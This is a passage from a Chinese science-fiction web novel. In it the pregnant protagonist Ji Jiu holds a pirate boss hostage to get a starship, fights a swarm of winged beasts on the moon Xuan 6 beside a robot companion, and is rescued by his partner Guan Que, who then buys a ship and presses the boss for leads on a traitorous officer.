“他都死了,穿这个干什么呢?”机器人靠在墙边充电,声音幽幽地问。 “万一有什么突发情况,我们逃上旋6,他在半途活了怎么办?旋6可是没有氧气的。”纪九心有余悸地道,“我得将所有可能发生的事情都想到。” 一切准备就绪,纪九关掉灯坐在黑暗里,怀里抱着鸟崽,脑中考虑着各种应对突发状况的方案。 他一直等到深夜十二点,星舰还没进入跃迁点,正迷迷糊糊要睡着,就听机器人突然发出一声幽幽喟叹:“为什么我就只能A+呢……” 纪九正要出声,舰内突然铃声大作,同时一道广播声响起,命令所有人立即做好跃迁和准备着陆的准备。 纪九顿时睡意全消,立即打开灯。机器人也从哀怨情绪中抽离,对着惊醒的鸟崽伸出手:“雀宝,快,让我抱着。” 屋子开始震颤,房顶的电灯时明时暗,四处都在发出嘎吱声响,整架星舰像是要散架了一般。 纪九知道这是星舰正在进行跃迁,只担心关阙掉到床下,反身将人给抱住。机器人也将鸟崽放在自己背后,抓住了床栏稳住身体。 “星舰跃迁后,再飞行五分钟就会在旋6登陆,只要通过跃迁点,我们就立即行动。”纪九对着机器人喊道。 “明白。” “重力车队就停在底层正舰门附近。” “知道,我已经把舰内地形都记录下来了。” 纪九又对它怀里的鸟崽道:“雀宝,记得爸爸之前给你交待的吗?你就在这里守着阙爸爸,我和思琪叔办完事就来接你俩。这个是对讲机,如果有事情发生,你就按下这个黑色的键,然后放声大叫,爸爸听见后就马上赶回来。” “啾啾。”鸟崽立即挺直了胸脯。 剧烈的摇晃中,纪九紧搂着关阙,在时明时暗的灯光下注视着他。接着又俯下身,在他耳边低声道:“我等会儿会离开星舰一阵子,你别慌,雀宝会陪着你,我很快就回来把你接走。” 第43章 太空里悬浮着一个巨大的白色漩涡,让周围空间都产生了扭曲。这是这片空域的人工虫洞,也被称为跃迁点。 此时那虫洞中央突然起了一丝波动,如同有小石子没入湖中,荡起层层涟漪。接着一艘星舰从漩涡中心冲出,跃入太空,并以光速飞向前方那颗灰白色星球。 “关闭跃辉号所有曲率引擎,启动钔动力装置。” “已关闭一至九号曲率引擎,星舰进入一般飞行状态。” …… 指挥舱里命令声不断,跃辉号大型星舰开始减速,并在五分钟后,以一般飞行状态进入了旋6大气层。 旋6是一颗围绕着晨曦星旋转的天然卫星,重力只有晨曦星的百分之八十。天上飘着的都是冻云,大气层稀薄,空气里氨气占比较重,整个星球表面被氨气结晶形成的嶙峋山石覆盖。 星舰降落在一处平坦的山脚,现在是旋6星时间的半夜十二点,却依旧明亮。四周山峰林立,结晶体形成的陡峭峰顶如同教堂尖顶,直直戳入冻云层。 主舱门打开,灰蒙蒙的光线撒入舰内,十几辆轻重力履带车启动,拖着装有各种机械的货箱,浩浩荡荡地驶向了旋6行星的表面。 “5号车已出发,6号、7号、8号也已出发……15号驾驶者是谁?我这里没有登记。” “我需要登记吗?” “王总,您当然不需要。” 一名穿着宇航服的员工站在舱门口,手拿着本子和笔,清点驶出舱的轻重力履带车。 “16号是谁?16的驾驶者是谁?还没有登记。” 16号履带车跟在车队里往前行驶,驾驶者却一言不发。 “16号快回答。” 半晌后,耳机里才响起一道沙哑的声音:“陈二煤。” “陈二煤,你耳朵也被煤炭塞住了吧?我喊你半天都不吭声。” 待到所有轻重力车驶出星舰,员工确认完毕,便收好记录册,关上了星舰舱门。 运载着各种机械的轻重力车辆行驶在山脚下,朝着前方那片凹陷地前行。 “都速度点,我们要赶时间,16号车都快掉队了,陈二煤你快点。” 16号车的挡风玻璃下放着一个对讲机,里面传出队长的大声呵斥。陈二煤浑身僵硬地坐在驾驶座上,额头上挂着一串汗珠。 “煤哥,听见了吗?让你开快点。”纪九道。 纪九穿着宇航服坐在后座,手里枪抵着陈二煤后脑。机器人则坐在副驾驶,动作麻利地从他腰后搜出了枪。 “刘金福,你这样做,考虑过后果吗?”陈二煤瞥了眼后视镜,“你现在是名孕夫,就算不考虑自己,也要为肚子里的孩子着想,何必呢?” 纪九叹了口气:“我就是为了孩子着想,才要离开这里,总不能就带着孩子在这里挖一辈子矿,你说是不是?煤哥,我也是迫不得已,只要王总给我找艘小型舰就行,让我借用一下,离开这里。” 轻重力车内感受不到重力变化,但轮胎压飞的一块石头,只一直往外飞去,在很远的地方才缓缓落下。 车内安静下来,只听见对讲机里传出各种对话声。 “王哥,我们这是要去采钔矿吗?”有人激动地问。 “当然。”王总得意的声音响起:“这车队里的都是我最信任的兄弟,跟了我好多年,所以我也不怕告诉你们。银盟军前两天才在旋6无人区发现了钔矿源,那人便把这个消息高价卖给了我。” 纪九听到银盟军三个字,心头陡然一跳,转头看向了对讲机。 “可是他给的消息可靠吗?”有人问道。 “他哪次卖给我们的消息不是真的?”王总哼了一声,“但未到达旋6前,不能出现任何差池,所以我之前对其他人暂时隐瞒了目的地。” “那人的本事真有这么大?” 另一个手下道:“当然本事大,他在银盟军里是个高官。对了,我听王哥说过,他也在和塔柯军往来。” 纪九顿时坐直了身体,心脏也加快了跳动。 “他和塔柯军往来?怎么发现的?”有人追问。 王总原本像是有所顾虑,但那名亲信已经将话说出了口,沉默片刻后还是回道:“他做事极为谨慎,为了不留下痕迹,每次和我交易,都让我付给他现金。有一次,我偷偷留了个心眼,在那银辉币上做了记号。没过两天,我又卖出去了一批生矿,交易成功后,才知道对方是塔柯军的暗影军团。而对方付给我的现金,就是我做过记号的那一箱。” 王总说完这句后,对讲机里一片沉默,他又补充:“我是完成交易,回舰后才知道买家是塔柯人,就算想中止交易也来不及了。” “王哥,我们没怪你,你也不知道对方塔柯人。但你的意思是说,那人和塔柯军之间有金钱往来?” “肯定的。” 对讲机里再次沉默,接着响起各种骂声。 “银盟军杂种,居然和塔柯狗往来。” “我们虽然被银盟军追得到处跑,也不会和塔柯狗有牵扯。这个高官是谁?把他的事情捅给银盟军。” “你们都冷静点。”王总在对讲机里劝道,“我也恨塔柯人,我也想把那个人交给银盟军,哪怕以后少做点生意都行。但我不知道他是谁,每次都是他和我单线联系,这点阿彪可以作证。” “是的,我能作证。”阿彪回道。 众人又开始七嘴八舌。 “王哥,我们肯定相信你的。” “王哥你留个神,下次把他的信息给套出来。” 王总道:“我知道,我明白,我一直在套他的信息。” 纪九想多听一点,但他们又开始说其他事情。他坐在车内,脑中飞速转动,琢磨着王总和他手下的对话。 那是一名银盟军军人,虽然身份不明,但军职不低,不然也拿不到钔矿这种军队内部信息,并贩售给星盗。 他不光向星盗出售军部的内部消息,也和塔柯军勾结,并从中牟利。 他会是谁呢? 他和那次赤牙城行动,和那名幕后者有没有关系? 或者他就是那名泄密者?因为利益,而向塔柯军出售了那次任务的消息? 纪九想到这里,呼吸变得急促,握着枪的手越来越紧,指关节都泛起了青白。 他这次回去银辉星,随着证人王成义的死亡,调查也陷入僵局,找不出任何头绪。 现在他得到了这样一条线索,好比是在一团迷雾中看到了一缕亮光,不管那人和赤牙城事件有没有关,他都必须要将人给找出来。 车队停在了一片荒芜旷野上,纪九也从自己的思绪里回过神。 “所有人下车了,准备开工。”对讲机里传出王总的声音。 “煤哥,得罪了。” 纪九取出一条绳索,将陈二煤结结实实捆在了座椅上,再拿了个布团塞进他嘴里。 一群穿着宇航服的人正在荒原上忙碌,因为这颗星球重力太轻,稍不注意,就有人从地面跃起两三米。地面上钉入数根让人抓住后稳定身形的重力杆,进行矿源探测的仪器已经架好,钻头不断深入地下,仪器屏幕上的数据也在不断变化。 王总抓着身旁的一根重力杆,双脚有些飘离地面,嘴里不停指挥:“一般有钔矿的地方,附近就会有赫克兽,你们都小心一点。” 一名手下指着旁边的金属箱:“知道的,王哥,你看我们带了十几把氩枪,就算来了赫克兽也不怕。” 几名技术员查看着仪器,不时大声汇报:“300EF,不,还在涨,450EF,王总,这地下应该有个钔矿脉。” “我就说消息没假。”王总面带喜色地转过头,问一旁的手下:“陈二煤呢?让他开始搭建空气库。” 挖采钔矿需要大量人手,舰上的宇航服便不太够,行动也不方便。所以采集队只要发现矿脉,便会地面上搭建一座有着重力和氧气的大棚,工人们便可以在棚里进行采矿作业。 “陈二煤呢?”一旁的星盗东张西望,“陈二煤,干活了,你是不是还在车里偷懒?” “他在16号车呢。” 16号重力车的车门在此时打开,穿着笨重宇航服的陈二煤下了车,双脚在地面轻轻一蹬,朝着这边飞了过来。 旷野上一片忙碌,没谁注意到陈二煤径直飞到王总身旁,再抓住重力杆,双脚缓缓站稳。 王总正在耳麦里指挥:“注意检查地表下有没有垦锏岩,上次没有查探清楚,结果毁了一根钻头——” 王总的声音突然停下,星盗们没听到下文,疑惑地转过头,却看见他满脸紧张,两手举在头侧。 而他身旁不知什么时候多了个人,正拿着一把枪,抵在他的心脏位置。 那人穿着宇航服,看不清面容,一名抱着仪器的星盗最先回过神,厉声大喝:“那是谁?你想做什么?” “那是陈二煤!从16号车飞来的。” “陈二煤你疯了?快放下枪。” 有人已经在开始拔枪,一道陌生的清朗声音却在众人耳麦里响起:“都别动,不然我就打死他。” 所有人都听出这声音不属于陈二煤,顿时都有些傻眼,也都停下了动作。 16号车门再次打开,机器人按照之前的计划,在纪九控制住王总后才离开重力车。它手拿枪支,双脚点地,朝着纪九方向飞去,同时喝道:“所有人双手抱头,不准有任何动作,否则立即开枪。” 星盗们陆陆续续双手抱头,但还是有人自认为没被发现,悄悄从右边飞去。纪九微微侧头,抬臂,朝着那方向果断扣下扳机,再迅速回转枪口,重新对准了王总的心脏。 “让他们别动,不然下一颗子弹就是对着你了。”纪九对着王总低声喝道。 王总赶紧道:“兄弟们别动,都别动。” 那被击中的人正在全身摸索:“我受伤了,我已经中弹了。” “别慌,你没中弹,只是氧气筒被打穿了。”站在他旁边的人立即道。 纪九头也不侧,只道:“你现在去16号车。” 那名手下氧气筒被击穿,正满脸煞白,听见纪九让他回到有氧气的重力车上后,竟然连声道谢,连飞带跑地冲向了16号重力车。 “你是谁?想要做什么?要钱的话好说,一切都能商量,不用这样大动干戈。”王总道。 “当然,一切好商量。王总放心,我也不会狮子大开口,只要借给我一艘小型星舰就行。我到了目的地会通知你们,你们自己再把星舰飞回来。” “只是借一艘星舰,没有其他条件?” “没有了。” 纪九嘴上这么说,心里却另有打算。他不光要借到星舰,还要从王总嘴里问出有关那人的线索才行。 王总身为土匪头子,手里自然不会干净。他原本担心纪九是来寻仇的,闻言松了口气:“那我马上就给你准备一艘星舰。于宏,你现在回去跃辉号——” “不不不。”纪九摇头,“王总,不用麻烦别人,我们一起回跃辉号,你亲自给我挑一艘。” 王总看了眼抵在胸口的枪,只得道:“那现在回去,现在回舰。” 他话音刚落,站在对面那几名星盗突然开始骚动。他们虽然还举着双手,却不自禁地后退,都看着远方面露惊恐。其中一人更是发出惊叫:“是赫克兽,怎么这么多的赫克兽?” 他们这幅模样不似有假,纪九一愣,也转头看了过去。 只见远方出现了一大群赫克兽,正黑压压地朝这边涌来。它们足有七八十只,形似蜥蜴,但每一只身长足有两米,背脊上还生着黑色翅翼。因为重力轻,它们前进的速度快得惊人,有些在地面上奔跑,有些则张开翅翼在低空飞行,转瞬已到了几百米远的地方。 星盗们在各个星球上采集钔矿,也经常能遇见赫克兽,但那最多十几只,像这种大规模的兽群还是第一次见着。 所有人都愣愣看着兽群,直到有人发出一声嘶声大叫:“快跑!” 星盗们也顾不上纪九,只转身冲向了重力车。纪九眼见那群赫克兽越来越近,便松开王总,朝着他们大喊:“别跑,来不及了,快拿武器!” 纪九冲向右方金属箱,从里面取出了两杆氩枪,并将其中一杆抛向又拉住王总的机器人:“别管他了,接着。” 机器人接住氩枪,重获自由的王总立即起跃,边跑边飞地冲向了离得最近的那辆重力车。 赫克兽的身体结构有些特殊,它们没有脏器,循环系统由血管网络和肌肉收缩推动?,所以就算全身中弹也无事,只需要用肌肉将那些弹头挤出体外便可。 虽然可以使用炮火将它们炸碎,但钔矿源所在位置的空气内也含有稀薄钔物质,发射少量子弹无碍,太强烈的炮火却会引起爆炸。加上赫克兽的数量不会太多,一般只有三两只,所以采集队平常只会带上氩枪。 赫克兽惧怕氩气,氩枪便是专门用来对付它们的武器。 它名为枪,却不是枪支,而是一把长近三米的冷兵器长枪。当枪尖刺入赫克兽身体,并按下枪柄上的扳机,枪尖上便会释放出氩气,将它彻底击杀。 纪九刚打开氩枪的释氩开关,便听见耳机里传出连声惨叫。他转过头,看见兽群竟然已经冲到了近处。其中几只还拦截住了一辆刚启动的重力车,尖锐的獠牙直接戳穿坚实车窗,将一名星盗给叼了出来。 那名星盗被咬住氧气筒在地上拖拽,面色惨白地求救。另外几名星盗兴许是被吓傻了,也忘记了子弹无用,只朝着那赫克兽不停开枪。 就在那星盗要被拖入兽群时,一道人影风一般冲到了他的身旁。 纪九手持氩枪,直接扎入那只赫克兽的背脊,同时按下枪柄开关。一股氩气便从枪尖喷出,在赫克兽体内散开。 叼着星盗的赫克兽倒下,纪九一个俯身,躲开了另一只赫克兽的扑咬。 “吴思琪。” “到了!” 那只扑出的赫克兽还未落地,机器人的氩枪便也刺入了它的脖颈。 两人在H58杀了一个月的钢鬣兽,现在已是练出了一身和野兽对抗的本领。互相间配合也相当默契,不需要什么语言,只几次飞纵腾跃,便又刺中了两只赫克兽。 眼见所有的重力车被赫克兽掀翻包围,星盗们终于回过神,也纷纷掉头冲向金属箱,去拿里面的氩枪。有人已经打开了推进器,飞上天空和赫克兽对战。一时间,到处都是扇动的翅膀和后背冒着喷气的星盗,天上地下都成了战场。 纪九刚将氩枪从一只赫克兽的颈部拔出,便听见有人惨叫。他抬起头,看见一名飞在空中的星盗,手脚分别被两只赫克兽咬住。 两只赫克兽分别用力,那名星盗的身体便被硬生生扯成两段,鲜血立即涌出,成为飘在半空的大片血珠。 “不要飞上天,会遭到各个角度的攻击,就在地上打!”纪九对着耳机大喝,几名还飞在天上的星盗便立即降落。 “大家聚在一起,背靠背,不要单独往回飞,会被它们截住的。” 纪九的声音镇定果决,星盗们不自觉就服从了他的命令,聚成了一团,互相抵着背。 “你们这里有几个队?”纪九喝问。 “三个队。” “一二队防守地面,三队防守上方,技术员联系星舰,请求支援。我们现在不能跑,不能分散,只能坚持撑住,一直撑到支援人员赶到。” “是。” 大家按照纪九的命令,不躲不跑,只背靠背聚在一起,王总也夹在人群中,拿着一把氩枪。当他们形成一个整体阵型后,果然就挡住了赫克兽四面八方的凶猛进攻。 纪九刚刺中了一只从天上扑下的赫克兽,挂在腰上的对讲机便亮起灯,耳机里也响起鸟崽的大声啾啾。 纪九一边杀着赫克兽,一边大声吼道:“雀宝别慌,爸爸这边有一点事,我会想办法赶回来。” 纪九和这群星盗杀了不少的赫克兽,天上也飘着兽尸,但就算如此,剩下的数量依然很多。而不时有人被赫克兽扑咬而死,战力持续降低,让他们应对起来也越来越吃力。 纪九虽然有着击杀野兽的丰富经验,可他终究已是怀孕五个月,不光体力不及当初,身形也没有以前灵活。 机器人瞧见他呼吸粗重,脸色发白,便担忧地问道:“你打不动了就别打,躲在我后面就行了。” “谁说我打不动的?笑话。”纪九说完,便又侧身躲过一只赫克兽的扑咬,再反手将氩枪朝它刺去。 纪九一边战斗,一边担心着鸟崽和关阙,却也将那些焦灼按捺住,只专心指挥。 “二队的重心放在左,一队在右。大家坚持住,救援马上就要来了。”纪九厉声喝道。 “知道。” “是。” 像是发现纪九是这群人的指挥,兽群突然朝他发起了猛烈进攻,地面上的齐齐嘶吼着扑来,天上的也收翅俯冲而下。 “纪九小心。” “我知道。” 纪九在机器人的配合下连接出枪,击杀了从正前方扑向他的三只。但长枪尚未来得及从兽尸里拔出,左边和上空也有赫克兽扑来。 机器人猛然跃起,替他挡住了空中这一击。但左边的那只已经冲到面前,朝他张开满是獠牙的巨口,喷出一股腥臭的风。 这一切都发生在瞬间,机器人还被右边那只赫克兽咬着肩膀,想进行拦截也来不及。 纪九的长枪卡在了头骨里,身侧又有几只赫克兽扑了上来,瞬间已至眼前。他看着那大张的嘴和雪白的獠牙,根本来不及躲避,只闭上眼,面色惨然地咬紧了牙。 “纪九!!”机器人一声大叫,一拳锤向咬着自己的那只赫克兽,企图挣脱禁锢。 纪九曾经设想过,自己在面对死亡时,脑子里会想些什么。 他觉得应该是像走马灯一样,在短短瞬间,将自己的人生过了一遍。但他真正到了这一刻,却什么回忆都没有浮现,只是有些空茫地在想,雀宝刚才说的究竟是什么? 一秒,两秒…… 臆想中的疼痛始终没有到来,也没有利齿刺穿他的头罩,嵌入他的头骨。而身旁的野兽尖啸突然消失,还听见机器人惊讶地噫了一声。 纪九察觉到异常,慢慢睁开了眼,接着整个人愣在了原地。 只见正前方半空,正悬浮着一人,挡在了他的面前。 那人虽然穿着宇航服,却也看得出身形高大,肩宽腿长。他手持一把氩枪,雪亮枪尖斜斜刺入一只野兽的颈部,后背的推进器还在喷着白烟。而他腰上挂着一个气囊,鸟崽正趴在气囊壁上,冲着他和机器人啾啾大叫。 “雀宝。”机器人的屏幕上闪着光。 “啾啾啾啾。” 纪九耳里的所有声音都消失,所有画面都成了背景板。只有那人在半空极速来回飞行,不断挥动手里氩枪。而他所经之处,那些赫克兽纷纷倒下,都成为了漂浮在空中的尸体。 “快杀!我们的增援到了。”还活着的星盗激动地嘶声大叫。 增援的星盗随后赶到,一共五六十人。他们也是用推进器飞来,像是一群白鸟呼啦啦飞过天空,直接扎入兽群开始战斗。 赫克兽群立即被冲散,死的死逃的逃,在一片嘶鸣声中,很快便被清了个精光。 战斗迅速结束,星盗们或是互相询问情况,或抱住伙伴的尸体抹泪。纪九则撑着机器人站在地上,看着关阙缓缓降落在面前。 关阙将纪九全身打量了一遍,再按住头罩旁的耳机。纪九看见他嘴唇开合,也听见耳机里响起一道熟悉的低沉声音:“还好吧?” 再次听到这熟悉的声音,纪九瞬间便红了眼眶。他掩饰地侧过头,从那具兽尸里去拔自己的氩枪,哑着声音道:“不好。” 关阙一直看着他,片刻后才问道:“怎么了?” 他的声音听上去很温柔,纪九刚才战斗时沉着冷静,现在却只委屈地道:“你怎么这么能睡啊,怎么现在才来啊……” 第44章 星盗们开始清理战场,推正倾翻的轻重力车,将亡者的尸体装上车,准备运回去进行空葬。 16号轻重力车已经被扶正,一直被捆在车里的陈二煤,还有那名被纪九打破氧气筒的星盗,奇迹般安然无恙。两人也去了外面帮忙,车内只坐着纪九和关阙。 纪九和关阙并排坐在后座,纪九透过车窗,看着机器人左手提着一罐氧气,右手抱着装了鸟崽的气囊,到处窜来窜去地看热闹。 他已从初见到关阙的激动情绪里平复下来,但心里依旧满是喜悦。虽然有很多的话想问关阙,但那些话争先恐后地堵在嘴边,却不知道从何说起。 “你这次怎么过了这么久?”他看向关阙,还是再问了这一句。 “情况有些复杂,等回头再给你细说。”关阙道。 纪九问了两次,关阙都说回头再说。他觉得这也许是个托词,其实触到了序列者的什么秘密,所以关阙不愿意告诉自己。他心里虽然隐约飘过一丝失落,但只要人醒来就行,便也没有再问,只点点头:“好。” “你这几天怎么过的?怎么会在这儿?是出了什么事?”关阙的目光看向那些散落漂浮在半空的采矿仪器,连接问了好几个问题。 “这个也要回头再给你细说,但简单来讲,我们进入的不是塔卡拉空间站,而是星盗窝。关键他们明面上还是个公司,到处偷矿。” “看出来了。”关阙眼里露出一丝笑意,“那你这几天是怎么过的?” “过得还行。”纪九顿了顿,含混地道:“反正闲得无聊,就在舰上找了点事做。” “具体是什么事?”关阙耐心地追问。 “就在那车间里搞点矿什么的……”纪九避开关阙的视线,转头看向车窗,指着某个方向岔开话题,“哎?那辆车好像卡住了,在用钢钎撬。” “嗯。那么在车间搞点矿是什么意思?”关阙思维很清晰,并没被他带着跑。 纪九知道这事不说明白,关阙就会一直追问,终于还是简短地回道:“就是筛矿。” 他回答完后,车内一阵沉默。纪九继续看着车窗,却在关阙的倒影里撞上了他的目光,也看着他慢慢翘起了嘴角。 纪九张了张嘴,想说什么,但自己也没有忍住,只看着窗外笑了起来。 “我挺讨厌你这样的,非要打破砂锅问到底,给我留一点面子不行吗?”纪九捂住额头边笑边道,又问,“你见过筛矿吗?”不待关阙回答,他又伸出两条胳膊模拟筛矿,“就这样左四圈,右四圈,抖一抖……” 关阙原本想说自己见过,但看见纪九的动作,便又将那话及时咽了下去,只眼含笑意地看着他。 纪九学完筛矿,这才清清嗓子,严肃下神情。 “好了,现在说正事。”他又指向窗外,“看见那个人没有?他是这伙星盗的头目,大家叫他王总。我本来是打算挟持他搞一艘星舰,结果就遇到了赫克兽。其实这群星盗还不错,至少不是那种穷凶极恶之徒,希望王总看在我们刚一起战斗过的情面上,主动把星舰借给我们。不然现在再去拿枪抵着他,就有点抹不开脸……” 纪九说着说着,发现关阙一直没有吭声,便转头看了过去。 只见关阙姿态放松地靠在座椅背上,虽然收起了笑,却没有看王总,而是正看着自己。 纪九微微一怔:“你别看我啊,看那边,看那个人,他就是王总。” 关阙却道:“我已经知道他是王总,不需要一直盯着他。” 纪九哦了一声,正要继续讲,突然又咂摸过来,觉得这句话有点怪。 不需要一直看着王总,难道就需要一直盯着我吗? “王总本来也答应了借我一艘星舰,就是,事发突然……” 纪九对上关阙的视线,看着那双幽深黑眸,心跳突然就乱了一拍。他有些慌乱地转过头,看向正前方,眼角余光却依旧能瞟到关阙,感觉到他那目光如有实质般落在自己身上。 “……反正正在提条件,那些赫克兽就,就冲过来了。” 他越来越不自在,脸也越来越烫,终于再也说不下去,只靠向椅背,仰头看向车顶,再抬手慢慢捂住了脸。 “怎么了?”关阙问。 纪九拖长声音:“阿宝,你别看我……” “别看你?”关阙又问。 “我知道我很帅,但你这样一直盯着我,我也会很尴尬啊。” 纪九的声音听上去有些不好意思,但说完这句,又忍不住地笑。 “你转过头,你只要这样看着我,我就想笑,你不要误会,不是因为你看上去好笑……” 纪九不知道自己是怎么回事,有些控制不住面部表情,总会情不自禁地露出笑容,像是这车内空气里散发着某种令人控制不住情绪的物质。就连关阙也一并中了招,在跟着他莫名其妙地一起笑。 纪九笑着伸手,握住关阙的下巴,将他脑袋转向前方车窗。 关阙顺从地转过头,眉目舒展地注视着前方,没有再盯着他。 “好了,继续说正事。”纪九伸手抹了把脸,却从车中间的后视镜里对上了关阙的视线。 “哈……”他和关阙对视两秒后,这次真的笑出了声。 “行了,我不看你,我一眼都不看你。”关阙看向旁边车窗,纪九边笑边道,“你不准看那边,有倒影,我现在不能和你对视,哈哈哈……” 待到纪九终于平静下来,关阙垂眸看着自己的手:“这伙星盗是没什么心眼,但那个王总却不一定。他能统领这么大一帮子人,必定不会太简单。” 关阙的话,让纪九也认真起来,开始讲述刚才发生的事:“我听到了王总和他手下的对话,决定不止弄一艘星舰了,还得从他嘴里问点事。” “什么对话?” 纪九将刚才那番经过仔细讲了遍,讲完后问道:“你觉得那人就是我要找的泄密者吗?” “我觉得他不一定是,但应该和泄密者有一定的关系。”关阙道。 纪九闻言,立即有些振奋:“对,我也是这样想的。” 两人正说着,便看见王总朝这边走了过来,身后还跟了几名星盗。 王总停在车旁,朝纪九露出个笑,纪九便拿起了车门旁的通话器。 “这次两位和我们一起战斗,共历生死,那就是我们跃辉公司的贵客,也是我王辉的朋友。之前的那些事,就当没有发生过,现在我邀请两位,以贵客的身份去跃辉号,让我们把酒言欢,好好聊聊。” 氨气结晶形成连绵的高耸山峰,看着分外宏大壮观。那停泊在山脚处的跃辉号超大星舰,都被衬得像是一比一还原的小模型。 数辆轻重力车形成一条长长的车队,如同归穴的蚂蚁,鱼贯驶入了星舰大门。 十分钟后,纪九和关阙进入了位于星舰三层的一间房。 这就是王总的办公室,陈设简单,只有一张实木书桌和几张沙发。不过沙发旁摆着个铜铸雕塑,是一人骑在马上的造型,腰间还挎着把长剑。 “坐坐坐,不要客气,就当这儿是自己家。”王总殷勤地招呼纪九二人在沙发上坐下,又对一名手下道,“去泡茶,拿我柜子里那包旋4银芽。” 其他星盗也在四周落座,陈二煤得意地给其他人介绍:“刘金福,我兄弟。他被我们从太空接入星舰后,就是我带着他熟悉环境,也加深了彼此的了解……” 待到热茶和点心摆上茶几,王总捋着自己有些稀疏的头发,笑眯眯地道:“金福兄弟,阿宝兄弟,二位以后有什么打算?” 纪九不等下文,便知道这是王总在招揽人手的意思,也微笑着回道:“其实我和阿宝能在星舰损毁后活下来,真的要多谢王总,还有——” 他转过头,目光在那些星盗脸上扫过,陈二煤连忙欠身举起手。 “还要感谢煤哥。”纪九对他点点头,接着转回身,“所以我对之前发生的那一幕也很惭愧,真心在这里给王总道歉。” “哪里哪里,都是误会而已,只要把误会讲清了,大家都是好兄弟。” 陈二煤则翘着二郎腿,对身旁的人低声道:“听见了吗?叫我煤哥。” 纪九和王总谈笑风生,关阙则一声不吭地坐在座位上,中途还拿起身旁小柜上的一个小摆件,很是无聊地掰着它能活动的手脚。 此时底层车间,机器人背着鸟崽,在轰鸣机器声中,走到了那条运矿流水线旁。 它走到三号位,站在那名正在挥铲的独臂机器人身旁,屏幕闪了又闪,一脸的欲言又止。 独臂机器人道:“你影响我工作了。” “对不起,我能耽搁你半分钟吗?就是想问个问题。” 独臂机器人放下铲子:“什么问题?” “为什么我只能A+,怎么也没办法A++,我的工作究竟出了什么问题?”吴思琪问。 独臂机器人看向空着的4号位,问道:“那个4号点一直没有机器人,你知道原因吗?” “不知道。” “因为4号位的统计系统出了问题,一直没有得到维修。它在统计工作量的时候,会自动给统计结果降低一个等级。” 机器人看看四号位,又看看继续工作的独臂机器人,屏幕黑了下去,死机一般站在那里。 三层办公室里,王总的笑容淡了一些,语气遗憾地道:“既然两位兄弟执意要离开,那我也没法强留。不过山水总有相逢日,我们也总会有再见面的一天。” 王总说完后,便对身旁的一名手下道:“去收拾一下跃星号,充满能量,物资也准备齐全,给我的两位兄弟用。” 陈二煤突然出声:“王总,跃星号小型舰太破了,说不准飞着飞着就会散架。” “是啊,王总,那个跃星号我们都不敢飞的,准备报废处理。” “王总,不能让他们飞跃星号,动力装置也有问题。” …… 这群星盗就像纪九说的那样,都没什么心眼,以为王总不知道那艘舰有问题,只七嘴八舌地阻止。王总也露出惊讶的表情:“这样吗?哎呀,那就有点难办了。” 纪九很清楚,王总一是不想他俩离开,二是怕他们开走星舰不归还。但还没来得及做出解释,身旁一直未吭声的关阙,却在这时开了口。 “王总,我们不打算借星舰。请你准备一艘最好的小型星舰,我付款买下来。” 此言一出,屋里其他人便没了声音。纪九有些怀疑自己听错了,转头看向了关阙。 关阙将手上的小摆件放回原位:“就买你这里最好的那一艘,我可以付高于原本价格的钱买下来。” 王总还没回话,纪九便突然站起身:“不好意思,我想和他单独说两句。” “没事,旁边是我的休息室。”王总指向右边的一扇房门。 纪九也顾不上那么多,直接将关阙拉去休息室,门一关,就站在门后低声道:“你知道你在说什么吗?这不是买车,是买星舰。我刚才拿枪抵着他的胸膛,也只敢说个借。” 屋里没有开灯,光线不怎么好,纪九只能看见关阙的五官轮廓和微微闪亮的眼睛。 “我知道是买星舰。”关阙的声音略带着笑意,低声问,“你担心我拿不出钱?” “你知道星舰的价格是多少吗?我就算一辈子不吃不喝,那薪水也买不起。” 关阙没有回话,片刻后,略微俯下身,在他发顶闻了闻,接着又移到他耳边,轻轻抽了下鼻子。 他这个动作太突兀,纪九一愣,不自觉停下了声音。 “你做什么?”他觉得被关阙那温热气息吹拂过的耳廓有些发烫,喉咙也有些发紧。 关阙只直起身,很快地打量了屋内,这才回道:“没什么。”接着又道,“不用不吃不喝,你马上就会拥有一艘属于自己的星舰。” 他说完这句,便转身拉开门,大步走了出去。 纪九站在门内,对着他的背影发呆了两秒,这才跟着进入待客厅。 接下来十分钟,纪九一直有些恍惚,只看着关阙给王总转账,而那名拿着收款机的手下汇报:“已收款,九千万元整。” “要是时间不赶的话,两位不如在舰上玩几天再走?让我也好好地招待你们一下。”王总见识到关阙的手笔,已经知道这不是自己能招揽的人,所以不再提让他俩留下的话,态度也变得谨慎起来。 纪九也终于从那九千万的震惊中缓过神,立即客气地婉拒。 他还记得自己的两个目的,既然星舰已经搞到手,那么就该打听那名银盟军的消息了。 “两位以后若有需要我王辉的地方,尽管来找我。”王总豪气地一挥手。 纪九微微欠起身:“王总,还真有件事想要你帮忙。” “金福兄弟你说,只要我王辉能办到的,那绝对不会推却。” “王总,我想问一下,那名给你出售情报的人,你有什么关于他的信息?” 纪九这话一出,王辉脸上的笑僵住,只连连摇头:“你是刚才在车队里听见的吧?那应该也听见我说过,没有有关他的任何消息和线索。” “王总,我找他也是想和他做笔生意,而且你放心,我绝对不会在他面前提及你。” “不不不,不是那个意思,我是真不知道他究竟是谁。但根据我对银盟军的了解,他军衔应该不低。” “我只知道这里没人会比王总熟悉塔柯人,没想到王总也挺熟悉银盟军?”一直在旁边听着的关阙突然开口。 王总听到这话,神情顿时变了变,看向关阙的目光也变得惊疑不定。 关阙靠在椅背上,双腿交叠,不急不缓地道:“王总不光把生意做得大,也挺会享受生活。看这茶水、摆饰、香薰,哪一样不是好东西?” “阿宝兄弟这话是什么意思?”他问道。 关阙意味深长地看着他:“王总是个聪明人,肯定知道我是什么意思。” 王总的脸色唰地变白,飞快地去看屋内其他人。他见那些星盗或一脸茫然,或在走神想其他事,这才缓缓松了口气。 但他这表现落进纪九眼里,纪九立即明白,他这是被关阙抓住了什么把柄,而且不想被其他星盗们知道。 纪九虽然不知道那把柄究竟是什么,却也故意道:“王总,这个事情嘛,既然这里这么多人,那么我觉得可以开诚布公地谈一谈——” “那个人的身份信息,我可能有点线索。”王总突然出声打断了他。 纪九坐直了身体:“哦?那我们就听王总讲讲。” “八年前的一天,他用通讯器联系的我,说他知道很多消息,轻轻松松就能赚很多钱。但他不方便出面,所以需要我去办,然后给我分成。” “我本来半信半疑,但发现他给我的消息的确是真的,而且让我赚了钱。每次都是他联系我,我没有他的联系方式,我办完事后,就把属于他的那份现金,放去他指定的位置。” “他使用了变声器,只能确定是男性,而且每次通话都很安静,应该在室内。他话很少,我想找出他的习惯用语都找不到。” “你有通话录音吗?”关阙突然问。 